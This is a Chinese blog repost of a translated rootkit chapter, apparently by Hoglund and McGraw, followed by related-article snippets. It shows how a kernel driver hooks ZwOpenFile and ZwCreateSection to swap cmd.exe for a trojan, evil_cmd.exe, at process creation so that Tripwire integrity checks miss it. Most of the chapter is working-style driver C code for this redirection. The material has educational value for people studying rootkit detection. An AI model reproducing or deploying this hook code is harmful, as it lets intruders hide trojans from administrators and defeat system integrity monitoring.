执行体的重定向

Window内核函数 - 文件的打开 阅读详情
题目:特洛伊执行体重定向
作者:Greg Hoglund, Gary McGraw
翻译:Rhett
//--------------------------------------------------------------

一旦入侵者拿到系统的root权限,所有监视和审核系统的效能都会大打折扣,甚至是在硬件层面的数据审核和加密校验措施也能被挫败。唯一例外的是被隔离存放的审核和校验系统所在的硬件设备。这个当然是废话。最邻近的系统会被隔离,管理员拿出硬盘在另外的系统上运行完整性检查程序。实际上,这是使用Tripwire安全程序的唯一方法。(Tripwire是流行的,但却有着致命缺陷的完整性检查程序)

执行体重定向和Tripwire的问题

这章我们演示的系统调用hook能在系统下隐藏一些事实。当你替换一个文件或者在原来的地方去执行一个木马文件时会发生什么。系统调用钩子能改变系统调用的逻辑并提供一些附加功能,后门,甚至改变请求的目标。拿Tripwire这样普遍的监视后门木马的程序来说。Tripwire程序读取系统每个文件的内容并根据内容数据生成一个加密hash。当文件内容被改变时会生成新的hash值。这就是说当下次管理员用Tripwire进行检查时会发现新的hash值。理论上这是个好方法,但实际上是根本没用的。

让我们来看看当黑客在目标系统上安装了内核级rootkit后会发生些什么。这个例子将说明黒客如何用木马文件替换原始版本的文件。黒客会挫败Tripwire以使安全管理员不能检测到后门的存在。演示说明用的系统是windows 2000。简单起见,假设入侵者发现了一个借助php脚本,在windows 2000 web 服务器远程执行代码的漏洞。入侵者的首要任务是利用此漏洞在系统上安装一个可执行文件。入侵者编译了一个window2000下的驱动,驱动hook掉了下面两个系统调用:

ZwOpenFile

ZwCreateSection

安装驱动来hook这两个系统调用,并且在启动的时候打开木马文件,拿到木马文件句柄。在我们的例子里,我们将把命令解释程序cmd.exe替换为我们的木马文件evil_cmd.exe。当一个应用程序或管理员自己加载cmd.exe的时候,我们的evil_cmd.exe将能把它替换掉。不幸的是,使用Tripwire并不能发觉到替换的动作。

在编译和测试完毕后,将驱动文件和evil_cmd.exe传送到目标系统上,然后把驱动用一般的方法加载到内存中。

实现重定向的驱动:

实现重定向的驱动用感染程序执行机制(不是程序本身)的方式使得Tripwire失效。驱动并不替换原来的文件。像Tripwire这样的程序将始终是看到正确的数据,因为确实是在打开正确,没修改的文件。我们对ZwOpenFile的hook检查每个打开的文件,并简单的跟踪文件句柄。当驱动发现有对目标文件的请求时,则更改要使用的文件句柄。驱动这时把原来的文件句柄用木马文件的句柄进行替换。这样只影响新进程的创建但并不会影响磁盘上的文件。Tripwire在这时候显得及其蠢笨。

NTSTATUS NewZwOpenFile(
  PHANDLE phFile,
  ACCESS_MASK DesiredAccess,
  POBJECT_ATTRIBUTES ObjectAttributes,
  PIO_STATUS_BLOCK pIoStatusBlock,
  ULONG ShareMode,
  ULONG OpenMode
)
{
    int rc;
    CHAR aProcessName[PROCNAMELEN];

    GetProcessName( aProcessName );
    DbgPrint("rootkit: NewZwOpenFile() from %s/n", aProcessName);

    DumpObjectAttributes(ObjectAttributes);

    rc=((ZWOPENFILE)(OldZwOpenFile)) (
                phFile,
                DesiredAccess,
                ObjectAttributes,
                pIoStatusBlock,
                ShareMode,
                OpenMode);
    if(*phFile)
    {
        DbgPrint("rootkit: file handle is 0x%X/n", *phFile);
        /* ___________________________________________________
        . TESTING ONLY
        . If name starts w/ cmd.exe lets redirect to a Trojan
        . ___________________________________________________ */
        if( !wcsncmp(
                ObjectAttributes->ObjectName->Buffer,
                L"//??//C://WINNT//SYSTEM32//cmd.exe",
                29))
        {
          WatchProcessHandle(*phFile);
        }
    }

    DbgPrint("rootkit: ZwOpenFile : rc = %x/n", rc);
    return rc;
}

对ZwOpenFile的hook可以通过检查打开文件的文件名判断是不是我们感兴趣的文件。如果是的话,把文件句柄保存下来以后使用。我们自定义的hook函数只是简单的调用原始的ZwOpenFile函数,并使执行继续。

  如果是试图用文件句柄创建进程的话,我们的代码将重定向到我们的木马文件。在进程创建之前,先要分配一个块的内存。一个块的内存类似于NT内核的内存映射文件。创建内存块时要用到文件句柄。建立起内存和文件的映射,然后可以调用 ZwCreateProcess 了。我们的驱动监视所有用目标文件句柄对内存块的创建。如果是目标文件被映射,这就是说将要被执行了。这正是我们替换文件句柄的时候。从而使得我们的木马文件被映射,而不是原来的文件。这样做效果非常好。我们对ZwCreateSection 进行如下的替换:

NTSTATUS NewZwCreateSection (
      OUT PHANDLE phSection,
      IN ACCESS_MASK DesiredAccess,
      IN POBJECT_ATTRIBUTES ObjectAttributes,
      IN PLARGE_INTEGER MaximumSize OPTIONAL,
      IN ULONG SectionPageProtection,
      IN ULONG AllocationAttributes,
      IN HANDLE hFile OPTIONAL
      )
{
            int rc;
            CHAR aProcessName[PROCNAMELEN];

            GetProcessName( aProcessName );
            DbgPrint("rootkit: NewZwCreateSection() from %s/n", aProcessName);

            DumpObjectAttributes(ObjectAttributes);

            if(AllocationAttributes & SEC_FILE)
                  DbgPrint("AllocationAttributes & SEC_FILE/n");
            if(AllocationAttributes & SEC_IMAGE)
                  DbgPrint("AllocationAttributes & SEC_IMAGE/n");

            if(AllocationAttributes & SEC_RESERVE)
                  DbgPrint("AllocationAttributes & SEC_RESERVE/n");
            if(AllocationAttributes & SEC_COMMIT)
                  DbgPrint("AllocationAttributes & SEC_COMMIT/n");
            if(AllocationAttributes & SEC_NOCACHE)
                  DbgPrint("AllocationAttributes & SEC_NOCACHE/n");

    DbgPrint("ZwCreateSection hFile == 0x%X/n", hFile);
#if 1
    if(hFile)
    {
        HANDLE newFileH = CheckForRedirectedFile( hFile );
        if(newFileH){
          hFile = newFileH;
        }
    }
#endif
            rc=((ZWCREATESECTION)(OldZwCreateSection)) (
                phSection,
                DesiredAccess,
                ObjectAttributes,
                MaximumSize,
                SectionPageProtection,
                AllocationAttributes,
                hFile);
            if(phSection)
            {
                  DbgPrint("section handle 0x%X/n", *phSection);
            }
    DbgPrint("rootkit: ZwCreateSection : rc = %x/n", rc);
    return rc;
}
木马文件可以用下面的代码映射到内存。以下是上面代码的支持函数。注,这里木马文件是放在C盘根目录下。

HANDLE gFileHandle = 0;
HANDLE gSectionHandle = 0;
HANDLE gRedirectSectionHandle = 0;
HANDLE gRedirectFileHandle = 0;

void WatchProcessHandle( HANDLE theFileH )
{
  NTSTATUS rc;
  HANDLE hProcessCreated, hProcessOpened, hFile, hSection;
  OBJECT_ATTRIBUTES ObjectAttr;
  UNICODE_STRING ProcessName;
  UNICODE_STRING SectionName;
  UNICODE_STRING FileName;
  LARGE_INTEGER MaxSize;
  ULONG SectionSize=8192;

  IO_STATUS_BLOCK ioStatusBlock;
  ULONG allocsize = 0;

  DbgPrint("rootkit: Loading Trojan File Image/n");

  /* first open file w/ NtCreateFile
  . this works for a Win32 image.
  . calc.exe is just for testing.
  */

  RtlInitUnicodeString(&FileName, L"//??//C://evil_cmd.exe");
  InitializeObjectAttributes( &ObjectAttr,
                    &FileName,
                    OBJ_CASE_INSENSITIVE,
                    NULL,
                    NULL);

  rc = ZwCreateFile(
        &hFile,
        GENERIC_READ | GENERIC_EXECUTE,
        &ObjectAttr,
        &ioStatusBlock,
        &allocsize,
        FILE_ATTRIBUTE_NORMAL,
        FILE_SHARE_READ,
        FILE_OPEN,
        0,
        NULL,
        0);
  if (rc!=STATUS_SUCCESS) {
        DbgPrint("Unable to open file, rc=%x/n", rc);
        return 0;
  }
  SetTrojanRedirectFile( hFile );
  gFileHandle = theFileH;
}

HANDLE CheckForRedirectedFile( HANDLE hFile )
{
  if(hFile == gFileHandle)
  {
        DbgPrint("rootkit: Found redirected filehandle - from %x to %x/n", hFile,

gRedirectFileHandle);
        return gRedirectFileHandle;
  }
  return NULL;
}
void SetTrojanRedirectFile( HANDLE hFile )
{
  gRedirectFileHandle = hFile;
}
OpenClaw+DeepSeek构建可审计AI自动化执行体 结构化自动化是企业级AI落地的核心范式,其本质在于将大模型推理纳入确定性工程闭环:通过事件驱动调度、Schema约束输出、全链路执行审计,实现任务可验证、结果可消费、行为可追溯。OpenClaw作为轻量级调度胶水层,不替代模型,而是强制规范Prompt输入与JSON输出契约;DeepSeek-Coder凭借原生高稳定JSON生成能力与低成本长上下文支持,成为该范式下最适配的推理引擎。典型应用场景包括CRM自动更新、工单智能分类、数据库一致性校验等需7×24小时稳定运行的生产任务,技术价值集中体现于错误率归零 阅读详情

相关推荐

Windows系统架构总结

系统架构关键组件环境子系统和子系统DLL  环境子系统向应用程序提供环境和应用程序编程接口(Appplication Programming Interface, API)。Windows 2000/XP支持三种环境子系统:Win32、POSIX和OS/2,其中最重要的环境子系统是Win32子系统,其他子系统都要通过Win32子系统接收用户的输入和显示输出。环境子系统的作用是将基本的执行体系统服务的

u010676483的博客 8127

(转)深入理解section之ZwCreateSection

http://hi.baidu.com/charme000/item/23945ecdb49926d2964452a1 原型: NTSTATUS ZwCreateSection( OUT PHANDLE SectionHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTR...

weixin_30838873的博客 769

VB6.0绿色精简版——轻量高效的编程利器

Visual Basic 6.0(简称VB6.0)于1998年发布,是微软基于COM技术构建的可视化开发平台巅峰之作。其核心采用事件驱动编程模型,结合集成开发环境(IDE)中的窗体设计器、代码编辑器与调试器,极大提升了Windows桌面应用的开发效率。End Sub如上代码所示,仅需简单拖放控件并编写几行逻辑,即可实现交互功能,体现了VB6.0“所见即所得”的设计理念。它深度依赖Windows注册表管理组件对象(如OCX、DLL),并通过项目文件(.vbp)组织资源,形成以“工程”为中心的开发范式。

weixin_35835018的博客 1905

zwcreatesection 共享内存区(Section)

zwcreatection创建一个section_object,section_object代表一块能够共享的内存对象。一个进程能够用section_object 来与其他进程共享它的内存空间。section_object 提供进程映射文件到其内存空间的机制。

wowbell的专栏 4837

KMD驱动教程续-8

 Kmdtut 8---共享Section通讯                                       共享Section通讯董岩译8.1 结构化异常处理8.1.1 seh驱动程序源代码8.1.2 建立 SEH-frame8.1.3 异常处理8.1.4 卸载SEH-frame8.1.5 使用宏来建立/卸载SEH-frame8.2 共享Section通讯8

guokeno1--JEFF的技术博客 1522

Windows 10 - Python - 线程 - 重定向重构方法

近期在学习 Python 多线程多进程,发现了挺多有趣的东西,结合偶然间独自在测试中的奇妙发现,用一种自我命名的方法来命名这个发现,或者说是方法 —— 重定向重构方法,当然也不清楚是否有人已经发现这个有趣的方法,如果有谁知道的话,可以劳烦告知更多有关于这个方法的事情,非常感谢。 首先,要知道这个有趣的方法,先要知道在 Python 内,是可以实现多个函数重名重参的,假设两个重名重参的中间没有其他调用第一个函数的代码,而在第二个方法后,调用了第二个方法,那么解释器就会指向下一个函数,也就是说 第一个 函数.

Muxiu 862

Windows Internals学习:CreateProcess 完整流程详解

前面几节讲的都是"进程相关的数据结构长什么样"(EPROCESS、PEB、TEB 之类),以及怎么用工具去查看这些结构。这一节要讲的是这些数据结构究竟是在什么时候、被谁、怎么一步步填出来的——也就是进程从"无"到"能跑起来"的完整生命周期。 所有对外公开文档的进程创建函数,最终都会走到同一个内部函数:,所以这就是分析的起点。创建一个 Windows 进程,实际上要经过操作系统里三个不同的部分分工协作:用一句话概括这七个阶段:新进程Windows子系统 Csrss.exe创建进程一方 Kernel32.dll

虾球 338

实验二:ICMP重定向攻击

-:实验原理   ICMP重定向信息是路由器向主机提供实时的路由信息,当一个主机收到ICMP重定向信息时,它就会根据这个信息来更新自己的路由表。由于缺乏必要的合法性检查,如果一个黑客想要被攻击的主机修改它的路由表,黑客就会发送ICMP重定向信息给被攻击的主机,让该主机按照黑客的要求来修改路由表。   在VMware虚拟环境中(Virtual Box不同),.2是充当网关的默认地址(通过rout...

weixin_30741653的博客 1262

关于crontab以及输出重定向

linux下可以通过配置crontab来定时执行任务,执行体可以是一条系统命令或自己写的一个脚本,同时可以指派用户来执行。配置crontab有两种方法。方法1、使用crontab命令,例如添加一个新的或编辑已有的,使用: crontab -e 就可以进入配置文件。此时配置crontab的执行者是当前登入用户,如果当前用户是root,需要为其他用户配置,可以使用 crontab ...

321

windows操作系统关键的系统组件

一、 1、NTDLL。DLL系统支持库,用于子系统DLL,包含以下两种类型的函数:(1)系统服务分发存根,会调用WINDOWS执行体系统服务(2)内部支持函数,供子系统、子系统DLL及其他的原生映像文件使用第一组函数为执行体系统服务提供了接口,在用户模式下可以通过这些接口函数调用执行体的系统服务。对于每个这样的函数,NTDLL包含了一个同名的入口点。函数内部的代码包含了与处理器

深未来技术 1033

利用JS 直接调用执行OC代码,非提取URL

一: 首先导入JavaScriptCore.framework: 点击左侧工程

sfjsxhb的博客 855

进程创建监控

上次讲了下进程保护原理,这次讲一下进程监控。监视进程创建,也就是监视EXE程序启动,就要hook掉创建进程的API,创建进程的API有ntdll!ZwCreateProcessEx、ZwCreateSection、ZwCreateThread等,kernel32里有CreateProcessA(W)和CreateProcessInternalA(W),hook ZW函数比较麻烦,因为那时进...

zzmzzff的博客 857

ZwOpenFile [WDK翻译]

ZwOpenFile 提供了一个句柄,通过它可以操作一个文件的数据或者是文件状态,或是文件的属性。ZwOpenFile 提供了ZwCreateFile的一个功能子集(ZwCreateFile能做更多事).

死胖子的博客 1898

磁盘文件操作_ZwCreateFile_ZwOpenFile_ZwReadFile_ZwWriteFile_ZwSetInformationFile_ZwQueryInformationFile

#include"ntddk.h" VOID xiezai1(PDRIVER_OBJECT qudongduixiang) { KdPrint(("驱动卸载 历程\n")); return; } NTSTATUS DriverEntry(PDRIVER_OBJECT qudongduixiang, PUNICODE_STRING zhucebiao1) { HANDLE wenjianju

3298

Windows驱动开发之文件操作

内核态文件操作 内核态字符串操作 内核态动态内存申请/释放

enjoy5512的博客 7303

驱动内存映射文件

驱动内存映射文件,一切尽在代码中,各位老爷请看:       // 内存映射文件,返回基址 // 用完记得ZwUnmapViewOfSection(ZwCurrentProcess(), BaseAddress); PVOID CreateMapFileAndGetBaseAddr(PUNICODE_STRING FilePath, PSIZE_T Size) { #define SE...

liwen930723的专栏 1412

windows驱动学习笔记

零零散散花了一个月的时间初步学习了windows驱动编程,接着开始要制定2013年的学习计划,即将步入另外一个学习战场,于是就将最近学习记录下来,也好将来再返回学习时有点基础。 一、windows驱动安装 1、到官方下载DDK安装,ex : 3790.1830.DDK 2、目录简介        示例代码: 安装目录/src/general/event/sys       编译:buil

Always look out for number one. 4559
上一篇: 网易社区被黑 事件涉及猫扑著名人物
下一篇: FSD Direct IO File Operation Library Source
iiprogram
博客等级 码龄25年 1066粉丝 1515原创
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值